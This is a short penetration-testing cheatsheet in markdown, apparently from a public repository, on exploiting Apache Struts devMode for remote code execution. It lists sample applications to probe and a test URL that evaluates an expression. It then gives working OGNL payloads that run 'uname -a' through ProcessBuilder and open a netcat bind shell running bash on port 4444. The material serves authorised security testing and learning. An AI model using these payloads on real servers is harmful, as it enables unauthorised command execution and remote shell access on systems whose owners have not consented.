mgeeky-Penetration-Testing-.../web/struts-cheatsheet.md

67 lines
3.0 KiB
Markdown
Raw Permalink Normal View History

2018-02-02 22:22:43 +01:00
## Apache Struts Remote Code Execution cheatsheet
Apacje Struts is a open source framework utilizing JavaEE web applications and encouraging to employ MVC (Model View Controller) architecture.
When having the application developed in so-called **_devMode_** as set in the _struts.xml_ file:
``` <constant name="struts.devMode" value="true" />```
Then the middleware will be handling additional parameters passed to every function invocation.
### Testing for Struts devMode enabled
The most straightforward way to test for *devMode* enabled setting is to find an example JSP/WAR/JavaEE application within the server and then passed there specially crafted parameters.
The below list of commands is supported by the *devMode* in Struts:
- `debug=command`
- `debug=xml`
- `debug=console`
- `debug=browser`
There are the below most recognizeable example applications often deployed on the Tomcat webserver:
- the Struts 1:
- struts-blank
- struts-cookbook
- struts-el-example
- struts-examples
- struts-faces-example
- struts-faces-example2
- struts-mailreader
- struts-scripting-mailreader
- the Struts 2:
- struts2-blank
- struts2-rest-showcase
- struts2-mailreader
- struts2-showcase
- struts2-portlet
By choosing one of them, testing whether it exists on target web server and passing special parameters, we can assure the Struts framework has been configured to use *devMode*.
```
http://target/struts2-blank/example/HelloWorld.action?debug=command&expression=1%2b1
```
Firstly, we can see that those parameters are to be passed to the **.action** requests. Secondly, the above URL utilizes *struts2-blank* example webapplication, that may not be found on test server. In such situation one should go and test the very same parameters for actually deployed application.
There are those two most important parameters:
- `debug=command`
- `expression=<java_code>`
The *expression* parameter is where we will type our **Remote Code Execution** _payload_ .
When the above invocation will result with **2** in response body - we will be sure that the expression got evaluated, and thus the application is vulnerable to RCE.
### Utilizing RCE
Now, in order to execute one command, and get the first line out of it - there can be used the following expression:
```
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder('uname -a').start().getInputStream())).readLine()
```
Where we have invocation of **uname -a** command within linux boxes.
In order to drop a bind shell on the server, the following method could be leveraged:
1. Pass the command as a String array:
..`new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}`
2. Invoke the above expression with the array being passed to the *ProcessBuilder*
```
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}).start().getInputStream())).readLine()
```
After that, the *bash* shell will bind to the 4444 port.